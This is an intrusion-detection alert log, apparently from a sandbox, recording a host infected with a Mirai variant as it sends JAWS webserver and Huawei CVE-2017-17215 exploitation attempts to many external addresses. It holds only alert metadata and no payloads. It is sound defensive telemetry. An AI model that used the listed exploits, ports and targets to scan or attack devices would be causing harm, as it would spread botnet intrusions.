2024-12-03T21:31:12.280670+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45350	171.48.150.224	80	TCP
2024-12-03T21:31:12.280670+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45350	171.48.150.224	80	TCP
2024-12-03T21:31:12.280760+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34222	147.179.254.202	80	TCP
2024-12-03T21:31:12.280760+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34222	147.179.254.202	80	TCP
2024-12-03T21:31:12.280881+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34436	24.149.246.129	80	TCP
2024-12-03T21:31:12.280881+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34436	24.149.246.129	80	TCP
2024-12-03T21:31:12.280977+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39552	32.227.59.119	80	TCP
2024-12-03T21:31:12.280977+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39552	32.227.59.119	80	TCP
2024-12-03T21:31:12.281050+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47658	156.128.47.189	37215	TCP
2024-12-03T21:31:12.281248+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58478	104.94.144.183	80	TCP
2024-12-03T21:31:12.281248+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58478	104.94.144.183	80	TCP
2024-12-03T21:31:12.294826+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58148	71.187.196.149	80	TCP
2024-12-03T21:31:12.294826+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58148	71.187.196.149	80	TCP
2024-12-03T21:31:12.294984+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	32938	183.134.212.93	80	TCP
2024-12-03T21:31:12.294984+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	32938	183.134.212.93	80	TCP
2024-12-03T21:31:12.295207+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55766	116.150.62.104	80	TCP
2024-12-03T21:31:12.295207+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55766	116.150.62.104	80	TCP
2024-12-03T21:31:12.295345+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33604	40.18.80.153	80	TCP
2024-12-03T21:31:12.295345+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33604	40.18.80.153	80	TCP
2024-12-03T21:31:12.309109+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41300	69.255.176.9	80	TCP
2024-12-03T21:31:12.309109+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41300	69.255.176.9	80	TCP
2024-12-03T21:31:12.309216+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39454	150.63.45.186	80	TCP
2024-12-03T21:31:12.309216+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39454	150.63.45.186	80	TCP
2024-12-03T21:31:12.309354+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34066	68.81.161.145	80	TCP
2024-12-03T21:31:12.309354+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34066	68.81.161.145	80	TCP
2024-12-03T21:31:12.397914+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59934	197.26.233.44	37215	TCP
2024-12-03T21:31:12.403024+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44212	156.219.74.61	37215	TCP
2024-12-03T21:31:12.428302+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46770	175.121.86.4	80	TCP
2024-12-03T21:31:12.428302+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46770	175.121.86.4	80	TCP
2024-12-03T21:31:12.554161+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56822	51.137.140.164	80	TCP
2024-12-03T21:31:12.554161+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56822	51.137.140.164	80	TCP
2024-12-03T21:31:12.554172+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49798	18.145.102.122	80	TCP
2024-12-03T21:31:12.554172+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49798	18.145.102.122	80	TCP
2024-12-03T21:31:12.554186+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37672	94.147.154.72	80	TCP
2024-12-03T21:31:12.554186+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37672	94.147.154.72	80	TCP
2024-12-03T21:31:13.393743+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56708	8.103.67.204	80	TCP
2024-12-03T21:31:13.393743+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56708	8.103.67.204	80	TCP
2024-12-03T21:31:13.746841+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41620	67.181.179.91	80	TCP
2024-12-03T21:31:13.746841+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41620	67.181.179.91	80	TCP
2024-12-03T21:31:13.785397+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59116	46.150.128.128	80	TCP
2024-12-03T21:31:13.785397+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59116	46.150.128.128	80	TCP
2024-12-03T21:31:13.793626+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35808	220.142.4.23	80	TCP
2024-12-03T21:31:13.793626+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35808	220.142.4.23	80	TCP
2024-12-03T21:31:14.315900+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33322	41.132.216.164	37215	TCP
2024-12-03T21:31:14.332210+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53538	41.242.244.42	37215	TCP
2024-12-03T21:31:14.332329+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47342	156.82.100.7	37215	TCP
2024-12-03T21:31:14.347946+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49110	156.180.71.22	37215	TCP
2024-12-03T21:31:14.348195+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47456	41.89.56.199	37215	TCP
2024-12-03T21:31:14.348312+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52828	197.101.2.157	37215	TCP
2024-12-03T21:31:14.348529+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55728	41.97.116.95	37215	TCP
2024-12-03T21:31:14.348740+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48548	156.254.240.189	37215	TCP
2024-12-03T21:31:14.348941+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35154	197.108.27.186	37215	TCP
2024-12-03T21:31:14.356816+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38320	156.6.99.220	37215	TCP
2024-12-03T21:31:14.356940+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57862	197.35.188.58	37215	TCP
2024-12-03T21:31:14.357125+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54804	197.20.1.232	37215	TCP
2024-12-03T21:31:14.363080+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40264	197.2.94.37	37215	TCP
2024-12-03T21:31:14.363184+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58874	156.209.214.149	37215	TCP
2024-12-03T21:31:14.378230+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42836	197.61.249.158	37215	TCP
2024-12-03T21:31:14.378296+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47048	156.145.198.116	37215	TCP
2024-12-03T21:31:14.378434+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37722	41.41.62.85	37215	TCP
2024-12-03T21:31:14.378661+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40768	41.100.82.80	37215	TCP
2024-12-03T21:31:14.378762+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35392	156.190.237.45	37215	TCP
2024-12-03T21:31:14.379184+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53480	156.248.22.235	37215	TCP
2024-12-03T21:31:14.387375+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49536	41.218.18.192	37215	TCP
2024-12-03T21:31:14.402816+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54728	156.63.118.237	37215	TCP
2024-12-03T21:31:14.425575+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38218	156.49.47.44	37215	TCP
2024-12-03T21:31:14.426755+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60000	197.54.174.254	37215	TCP
2024-12-03T21:31:14.427124+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44720	41.78.79.219	37215	TCP
2024-12-03T21:31:14.427249+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35146	197.142.116.145	37215	TCP
2024-12-03T21:31:14.434181+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60460	156.247.59.94	37215	TCP
2024-12-03T21:31:14.434230+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38434	156.124.6.20	37215	TCP
2024-12-03T21:31:14.481360+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53730	156.144.87.194	37215	TCP
2024-12-03T21:31:14.597283+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42854	156.183.73.216	37215	TCP
2024-12-03T21:31:14.606026+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50154	41.199.201.42	37215	TCP
2024-12-03T21:31:14.606104+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54516	156.254.151.42	37215	TCP
2024-12-03T21:31:14.612594+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47284	197.151.230.241	37215	TCP
2024-12-03T21:31:14.653119+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45220	197.67.52.122	37215	TCP
2024-12-03T21:31:14.847055+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42668	83.242.246.47	80	TCP
2024-12-03T21:31:14.847055+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42668	83.242.246.47	80	TCP
2024-12-03T21:31:15.012546+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47940	38.185.77.8	80	TCP
2024-12-03T21:31:15.012546+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47940	38.185.77.8	80	TCP
2024-12-03T21:31:15.020897+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49280	97.60.74.150	80	TCP
2024-12-03T21:31:15.020897+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49280	97.60.74.150	80	TCP
2024-12-03T21:31:15.425088+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44038	223.118.93.51	80	TCP
2024-12-03T21:31:15.425088+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44038	223.118.93.51	80	TCP
2024-12-03T21:31:15.425170+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38530	198.186.23.221	80	TCP
2024-12-03T21:31:15.425170+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38530	198.186.23.221	80	TCP
2024-12-03T21:31:15.487883+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60612	156.178.53.95	37215	TCP
2024-12-03T21:31:15.502977+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36702	156.144.159.185	37215	TCP
2024-12-03T21:31:15.503160+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52658	197.156.1.181	37215	TCP
2024-12-03T21:31:15.844113+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41824	41.57.106.72	37215	TCP
2024-12-03T21:31:15.863716+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39412	31.140.158.101	80	TCP
2024-12-03T21:31:15.863716+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39412	31.140.158.101	80	TCP
2024-12-03T21:31:15.864160+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39156	171.122.203.201	80	TCP
2024-12-03T21:31:15.864160+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39156	171.122.203.201	80	TCP
2024-12-03T21:31:15.878451+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58276	167.17.65.142	80	TCP
2024-12-03T21:31:15.878451+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58276	167.17.65.142	80	TCP
2024-12-03T21:31:15.878700+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41088	163.9.31.130	80	TCP
2024-12-03T21:31:15.878700+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41088	163.9.31.130	80	TCP
2024-12-03T21:31:15.887469+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34176	200.1.115.254	80	TCP
2024-12-03T21:31:15.887469+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34176	200.1.115.254	80	TCP
2024-12-03T21:31:15.893572+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34144	40.164.129.252	80	TCP
2024-12-03T21:31:15.893572+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34144	40.164.129.252	80	TCP
2024-12-03T21:31:15.893800+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43374	134.190.6.30	80	TCP
2024-12-03T21:31:15.893800+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43374	134.190.6.30	80	TCP
2024-12-03T21:31:15.902953+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40888	18.149.183.76	80	TCP
2024-12-03T21:31:15.902953+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40888	18.149.183.76	80	TCP
2024-12-03T21:31:15.903074+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35640	91.177.96.233	80	TCP
2024-12-03T21:31:15.903074+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35640	91.177.96.233	80	TCP
2024-12-03T21:31:15.903203+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38450	154.178.4.253	80	TCP
2024-12-03T21:31:15.903203+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38450	154.178.4.253	80	TCP
2024-12-03T21:31:15.903383+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45796	20.90.151.4	80	TCP
2024-12-03T21:31:15.903383+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45796	20.90.151.4	80	TCP
2024-12-03T21:31:15.909614+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45066	174.188.142.142	80	TCP
2024-12-03T21:31:15.909614+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45066	174.188.142.142	80	TCP
2024-12-03T21:31:15.909626+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58836	106.190.131.163	80	TCP
2024-12-03T21:31:15.909626+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58836	106.190.131.163	80	TCP
2024-12-03T21:31:15.918548+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34482	128.5.9.145	80	TCP
2024-12-03T21:31:15.918548+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34482	128.5.9.145	80	TCP
2024-12-03T21:31:15.925179+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40944	122.91.92.183	80	TCP
2024-12-03T21:31:15.925179+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40944	122.91.92.183	80	TCP
2024-12-03T21:31:15.925331+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48982	212.208.47.65	80	TCP
2024-12-03T21:31:15.925331+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48982	212.208.47.65	80	TCP
2024-12-03T21:31:15.925508+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52992	123.104.76.242	80	TCP
2024-12-03T21:31:15.925508+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52992	123.104.76.242	80	TCP
2024-12-03T21:31:15.925588+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42508	87.213.185.178	80	TCP
2024-12-03T21:31:15.925588+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42508	87.213.185.178	80	TCP
2024-12-03T21:31:15.925739+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44486	223.158.92.56	80	TCP
2024-12-03T21:31:15.925739+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44486	223.158.92.56	80	TCP
2024-12-03T21:31:15.933999+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39006	157.84.156.237	80	TCP
2024-12-03T21:31:15.933999+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39006	157.84.156.237	80	TCP
2024-12-03T21:31:15.934184+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39140	27.250.38.90	80	TCP
2024-12-03T21:31:15.934184+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39140	27.250.38.90	80	TCP
2024-12-03T21:31:15.934361+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53800	91.222.101.204	80	TCP
2024-12-03T21:31:15.934361+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53800	91.222.101.204	80	TCP
2024-12-03T21:31:15.934476+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50916	64.64.206.110	80	TCP
2024-12-03T21:31:15.934476+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50916	64.64.206.110	80	TCP
2024-12-03T21:31:15.934641+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41032	44.173.181.207	80	TCP
2024-12-03T21:31:15.934641+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41032	44.173.181.207	80	TCP
2024-12-03T21:31:15.967907+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60530	41.60.28.34	80	TCP
2024-12-03T21:31:15.967907+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60530	41.60.28.34	80	TCP
2024-12-03T21:31:16.153022+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36042	191.26.125.61	80	TCP
2024-12-03T21:31:16.153022+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36042	191.26.125.61	80	TCP
2024-12-03T21:31:16.184266+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34664	118.131.207.245	80	TCP
2024-12-03T21:31:16.184266+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34664	118.131.207.245	80	TCP
2024-12-03T21:31:17.159334+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34304	135.179.159.201	80	TCP
2024-12-03T21:31:17.159334+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34304	135.179.159.201	80	TCP
2024-12-03T21:31:17.201059+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43026	20.5.135.252	80	TCP
2024-12-03T21:31:17.201059+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43026	20.5.135.252	80	TCP
2024-12-03T21:31:17.561538+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47162	197.156.70.242	37215	TCP
2024-12-03T21:31:17.753067+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53830	156.76.57.111	37215	TCP
2024-12-03T21:31:17.830487+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39378	156.14.192.167	37215	TCP
2024-12-03T21:31:17.830704+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51638	156.67.243.71	37215	TCP
2024-12-03T21:31:17.925786+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40834	197.229.114.142	37215	TCP
2024-12-03T21:31:17.934397+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35180	41.103.79.191	37215	TCP
2024-12-03T21:31:17.957115+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36936	41.231.73.53	37215	TCP
2024-12-03T21:31:17.965587+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44186	156.216.121.98	37215	TCP
2024-12-03T21:31:17.988760+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60610	197.51.36.114	37215	TCP
2024-12-03T21:31:17.988942+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59284	197.59.66.164	37215	TCP
2024-12-03T21:31:17.988952+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47578	41.82.87.28	37215	TCP
2024-12-03T21:31:17.996682+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37670	197.70.32.35	37215	TCP
2024-12-03T21:31:18.028056+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56824	41.185.175.186	37215	TCP
2024-12-03T21:31:18.034327+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36688	41.174.129.7	37215	TCP
2024-12-03T21:31:18.034435+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38764	156.149.88.76	37215	TCP
2024-12-03T21:31:18.061125+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59432	41.106.184.156	37215	TCP
2024-12-03T21:31:18.737570+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42980	197.29.138.254	37215	TCP
2024-12-03T21:31:18.737904+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45456	156.26.192.79	37215	TCP
2024-12-03T21:31:18.738172+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33938	156.249.165.113	37215	TCP
2024-12-03T21:31:18.738195+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37486	156.143.56.56	37215	TCP
2024-12-03T21:31:18.754477+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53742	156.221.250.29	37215	TCP
2024-12-03T21:31:18.763037+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56488	156.180.0.171	37215	TCP
2024-12-03T21:31:18.763230+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53796	197.212.65.53	37215	TCP
2024-12-03T21:31:18.770085+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41416	156.51.35.111	37215	TCP
2024-12-03T21:31:18.770189+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59436	41.170.245.155	37215	TCP
2024-12-03T21:31:18.770362+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50812	41.44.242.50	37215	TCP
2024-12-03T21:31:18.770487+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44076	197.153.117.6	37215	TCP
2024-12-03T21:31:18.779535+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60316	41.78.165.182	37215	TCP
2024-12-03T21:31:18.779658+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43808	156.170.10.105	37215	TCP
